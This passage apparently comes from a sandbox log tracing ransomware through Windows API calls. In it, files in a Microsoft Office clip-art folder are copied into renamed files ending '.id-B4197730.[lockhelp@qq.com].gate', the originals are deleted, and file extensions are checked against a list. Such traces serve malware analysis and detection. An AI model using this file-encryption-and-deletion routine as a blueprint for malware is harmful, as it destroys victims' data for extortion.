lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0299.505] ReadFile (in: hFile=0x568, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.505] WriteFile (in: hFile=0x550, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xea, lpOverlapped=0x0) returned 1 [0299.505] SetEndOfFile (hFile=0x550) returned 1 [0299.505] CloseHandle (hObject=0x550) returned 1 [0299.505] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.505] SetEndOfFile (hFile=0x568) returned 1 [0299.507] CloseHandle (hObject=0x568) returned 1 [0299.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0299.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0299.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0299.508] lstrlenW (lpString=".doc") returned 4 [0299.508] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.508] lstrlenW (lpString=".docx") returned 5 [0299.508] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.509] lstrlenW (lpString=".pdf") returned 4 [0299.509] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.509] lstrlenW (lpString=".xls") returned 4 [0299.509] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.509] lstrlenW (lpString=".xlsx") returned 5 [0299.509] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.509] lstrlenW (lpString=".ppt") returned 4 [0299.509] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0299.509] lstrlenW (lpString=".zip") returned 4 [0299.509] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.509] lstrlenW (lpString=".rar") returned 4 [0299.509] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.509] lstrlenW (lpString=".bz2") returned 4 [0299.509] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.509] lstrlenW (lpString=".7z") returned 3 [0299.509] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0299.509] lstrlenW (lpString=".dbf") returned 4 [0299.509] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0299.509] lstrlenW (lpString=".1cd") returned 4 [0299.509] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0299.509] lstrlenW (lpString=".jpg") returned 4 [0299.509] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.520] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6165) returned 1 [0299.520] CloseHandle (hObject=0x4b8) returned 1 [0299.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0299.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0299.521] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.521] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0299.521] GetLastError () returned 0x0 [0299.521] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1815, lpOverlapped=0x0) returned 1 [0299.589] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1820, lpOverlapped=0x0) returned 1 [0299.590] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.590] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xea, lpOverlapped=0x0) returned 1 [0299.590] SetEndOfFile (hFile=0x414) returned 1 [0299.590] CloseHandle (hObject=0x414) returned 1 [0299.590] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.590] SetEndOfFile (hFile=0x4b8) returned 1 [0299.593] CloseHandle (hObject=0x4b8) returned 1 [0299.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0299.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0299.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0299.594] lstrlenW (lpString=".doc") returned 4 [0299.594] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.594] lstrlenW (lpString=".docx") returned 5 [0299.594] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.594] lstrlenW (lpString=".pdf") returned 4 [0299.594] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.594] lstrlenW (lpString=".xls") returned 4 [0299.594] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.594] lstrlenW (lpString=".xlsx") returned 5 [0299.594] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.594] lstrlenW (lpString=".ppt") returned 4 [0299.594] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0299.594] lstrlenW (lpString=".zip") returned 4 [0299.594] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.594] lstrlenW (lpString=".rar") returned 4 [0299.594] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.594] lstrlenW (lpString=".bz2") returned 4 [0299.594] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.594] lstrlenW (lpString=".7z") returned 3 [0299.594] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0299.594] lstrlenW (lpString=".dbf") returned 4 [0299.594] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0299.595] lstrlenW (lpString=".1cd") returned 4 [0299.595] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0299.595] lstrlenW (lpString=".jpg") returned 4 [0299.595] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.595] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=9318) returned 1 [0299.595] CloseHandle (hObject=0x4b8) returned 1 [0299.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0299.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0299.596] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.596] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0299.596] GetLastError () returned 0x0 [0299.596] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2466, lpOverlapped=0x0) returned 1 [0299.765] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2470, lpOverlapped=0x0) returned 1 [0299.766] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.767] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.767] SetEndOfFile (hFile=0x414) returned 1 [0299.767] CloseHandle (hObject=0x414) returned 1 [0299.767] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.767] SetEndOfFile (hFile=0x4b8) returned 1 [0299.769] CloseHandle (hObject=0x4b8) returned 1 [0299.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0299.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0299.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0299.771] lstrlenW (lpString=".doc") returned 4 [0299.771] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.771] lstrlenW (lpString=".docx") returned 5 [0299.771] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0299.771] lstrlenW (lpString=".pdf") returned 4 [0299.771] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.771] lstrlenW (lpString=".xls") returned 4 [0299.771] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.771] lstrlenW (lpString=".xlsx") returned 5 [0299.771] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0299.771] lstrlenW (lpString=".ppt") returned 4 [0299.771] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0299.771] lstrlenW (lpString=".zip") returned 4 [0299.771] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.771] lstrlenW (lpString=".rar") returned 4 [0299.771] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.771] lstrlenW (lpString=".bz2") returned 4 [0299.771] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.771] lstrlenW (lpString=".7z") returned 3 [0299.771] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0299.771] lstrlenW (lpString=".dbf") returned 4 [0299.771] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0299.771] lstrlenW (lpString=".1cd") returned 4 [0299.771] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0299.771] lstrlenW (lpString=".jpg") returned 4 [0299.772] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.791] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=7178) returned 1 [0299.791] CloseHandle (hObject=0x528) returned 1 [0299.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0299.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.809] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.809] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0299.810] GetLastError () returned 0x0 [0299.810] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0299.859] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1c10, lpOverlapped=0x0) returned 1 [0299.860] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.860] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.860] SetEndOfFile (hFile=0x4c4) returned 1 [0299.866] CloseHandle (hObject=0x4c4) returned 1 [0299.868] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.868] SetEndOfFile (hFile=0x554) returned 1 [0299.878] CloseHandle (hObject=0x554) returned 1 [0299.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0299.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0299.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0299.880] lstrlenW (lpString=".doc") returned 4 [0299.880] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.880] lstrlenW (lpString=".docx") returned 5 [0299.880] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.880] lstrlenW (lpString=".pdf") returned 4 [0299.880] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.880] lstrlenW (lpString=".xls") returned 4 [0299.880] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.880] lstrlenW (lpString=".xlsx") returned 5 [0299.880] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.880] lstrlenW (lpString=".ppt") returned 4 [0299.880] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0299.880] lstrlenW (lpString=".zip") returned 4 [0299.880] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.880] lstrlenW (lpString=".rar") returned 4 [0299.880] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.880] lstrlenW (lpString=".bz2") returned 4 [0299.880] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.880] lstrlenW (lpString=".7z") returned 3 [0299.881] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0299.881] lstrlenW (lpString=".dbf") returned 4 [0299.881] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0299.881] lstrlenW (lpString=".1cd") returned 4 [0299.881] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0299.881] lstrlenW (lpString=".jpg") returned 4 [0299.881] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.882] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6880) returned 1 [0299.882] CloseHandle (hObject=0x554) returned 1 [0299.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0299.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0299.882] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.882] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0299.884] GetLastError () returned 0x0 [0299.884] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0299.979] WriteFile (in: hFile=0x4f4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1af0, lpOverlapped=0x0) returned 1 [0300.156] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.156] WriteFile (in: hFile=0x4f4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.156] SetEndOfFile (hFile=0x4f4) returned 1 [0300.156] CloseHandle (hObject=0x4f4) returned 1 [0300.157] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.157] SetEndOfFile (hFile=0x554) returned 1 [0300.160] CloseHandle (hObject=0x554) returned 1 [0300.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0300.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0300.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0300.161] lstrlenW (lpString=".doc") returned 4 [0300.161] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.161] lstrlenW (lpString=".docx") returned 5 [0300.161] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0300.161] lstrlenW (lpString=".pdf") returned 4 [0300.161] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.161] lstrlenW (lpString=".xls") returned 4 [0300.161] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.161] lstrlenW (lpString=".xlsx") returned 5 [0300.161] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0300.161] lstrlenW (lpString=".ppt") returned 4 [0300.161] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0300.161] lstrlenW (lpString=".zip") returned 4 [0300.161] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.161] lstrlenW (lpString=".rar") returned 4 [0300.161] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.161] lstrlenW (lpString=".bz2") returned 4 [0300.161] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.161] lstrlenW (lpString=".7z") returned 